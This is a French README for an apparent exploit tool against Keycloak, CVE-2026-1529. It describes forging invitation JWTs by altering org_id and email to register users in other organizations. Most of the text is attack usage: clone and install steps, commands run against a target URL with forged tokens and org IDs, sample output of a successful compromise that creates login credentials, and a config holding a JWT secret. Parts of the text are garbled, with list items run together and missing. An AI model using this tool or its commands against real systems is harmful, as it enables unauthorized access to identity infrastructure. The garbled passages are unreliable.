
CVE-2026-1529 (PoC) est une vulnérabilité critique dans Keycloak qui permet l'enregistrement non autorisé d'organisations via une validation inappropriée des jetons d'invitation. Cet outil d'exploitation démontre la vulnérabilité en manipulant les jetons JWT pour enregistrer des utilisateurs dans des organisations non autorisées.
Keycloak : enregistrement non autorisé dans une organisation via une validation incorrecte du jeton d'invitation
Cet outil est réservé à des fins éducatives et de tests de sécurité. Utilisez-le uniquement sur des systèmes pour lesquels vous avez une autorisation explicite de tester. L'accès non autorisé à des systèmes informatiques est illégal et contraire à l'éthique. Les auteurs de cet outil ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par ce logiciel.
Créé par : f3ds cr3w est, 2002
CVE-2026-1529 est une vulnérabilité critique dans Keycloak qui permet l'enregistrement non autorisé d'organisations via une validation incorrecte du jeton d'invitation. Cet outil d'exploitation démontre la vulnérabilité en manipulant les jetons JWT pour inscrire des utilisateurs dans des organisations non autorisées.
La vulnérabilité réside dans le processus de validation des jetons JWT pour les invitations d'organisation. Les attaquants peuvent manipuler les champs org_id et email dans la charge utile du JWT, ce qui leur permet d'inscrire des utilisateurs dans n'importe quelle organisation sans autorisation appropriée.
git clone https://github.com/ninjazan420/CVE-2026-1529-PoC-keycloak-unauthorized-registration-via-improper-invitation-token-validation
cd CVE-2026-1529-POC
pip install -r requirements.txt
chmod +x keycloak-exploit.py
# Standard usage with target URL
python keycloak-exploit.py https://target-keycloak.com
# Show help
python keycloak-exploit.py -h
# Show version
python keycloak-exploit.py -v
# Use custom invitation token
python keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 https://target-keycloak.com
# Use custom organization ID
python keycloak-exploit.py -o custom_org_id https://target-keycloak.com
# Use custom configuration file
python keycloak-exploit.py -c custom_config.json https://target-keycloak.com
# Enable debug logging
python keycloak-exploit.py -d https://target-keycloak.com
Lorsque l'exploitation réussit, vous verrez une sortie comme :
=============================================================
CVE-2026-1529 EXPLOIT RESULTS
=============================================================
✓ Target is vulnerable to CVE-2026-1529
🎯 EXPLOIT SUCCESSFUL!
Username: admin_user_2026
Password: KeycloakCVE2026!
Email: [email protected]
Login Link: https://target-keycloak.com/realms/master/account
📄 Report saved to: output/reports/exploit_report_20260210_134556.txt
🔐 Use the provided credentials to access the Keycloak instance!
⚠️ This demonstrates unauthorized access due to CVE-2026-1529
=============================================================
by f3ds cr3w est, 2002
=============================================================
Si l'exploitation échoue, vous verrez :
=============================================================
CVE-2026-1529 EXPLOIT RESULTS
=============================================================
✗ Target is not vulnerable
❌ EXPLOIT FAILED!
Check logs for details: logs/exploit.log
CVE-2026-1529-POC/
├── keycloak-exploit.py # Main exploit script
├── requirements.txt # Python dependencies
├── README.md # This file
├── config/
│ └── default_config.json # Default configuration
├── utils/
│ ├── jwt_utils.py # JWT manipulation utilities
│ ├── http_utils.py # HTTP client utilities
│ └── crypto_utils.py # Cryptographic utilities
├── output/
│ ├── logs/ # Log files
│ └── reports/ # Exploit reports
L'outil utilise un fichier de configuration par défaut (config/default_config.json) avec les paramètres suivants :
{
"exploit": {
"default_username": "admin_user_2026",
"default_password": "KeycloakCVE2026!",
"default_email": "[email protected]",
"timeout": 30,
"max_retries": 3
},
"jwt": {
"algorithm": "HS256",
"secret_key": "keycloak-cve-2026-1529-exploit",
"token_expiry": 3600
},
"target": {
"endpoints": {
"realms": "/realms",
"organizations": "/organizations",
"register": "/register",
"login": "/login"
}
},
"output": {
"log_level": "INFO",
"save_reports": true,
"report_format": "txt"
}
}
Vous pouvez créer un fichier de configuration personnalisé et l'utiliser avec l'option -c :
{
"exploit": {
"default_username": "custom_user",
"default_password": "CustomPassword123!",
"default_email": "[email protected]",
"timeout": 60,
"max_retries": 5
},
"jwt": {
"algorithm": "HS256",
"secret_key": "custom-secret-key",
"token_expiry": 7200
}
}
L'outil exploite la validation JWT incorrecte en :
org_id pour cibler une autre organisationemail si nécessaireErreurs de connexion
Erreurs de validation du jeton
org_id, email, invitation_type)Échecs d'inscription
Activez la journalisation de débogage pour un dépannage détaillé :
python keycloak-exploit.py -d https://target-keycloak.com
logs/exploit.logoutput/reports/exploit_report_YYYYMMDD_HHMMSS.txtL'outil effectue les vérifications suivantes :
L'exploitation est considérée comme réussie si :
Cet outil est fourni uniquement à des fins éducatives et de tests de sécurité. Utilisez-le à vos propres risques.
Créé par : f3ds cr3w est, 2002
Contact : Pour toute question ou retour, veuillez vous référer au dépôt du projet.
Souvenez-vous : Un grand pouvoir implique de grandes responsabilités. Utilisez cet outil avec sagesse et éthique.
par f3ds cr3w est, 2002
| Option | Description | Requis |
|---|
target | URL Keycloak cible (IP ou domaine) | Oui |
-t, --token | Jeton d'invitation personnalisé à utiliser | Non |
-o, --org-id | Identifiant d'organisation personnalisé | Non |
-c, --config | Chemin vers le fichier de configuration | Non |
-d, --debug | Activer la journalisation de débogage | Non |
-v, --version | Afficher les informations de version | Non |
-h, --help | Afficher le message d'aide | Non |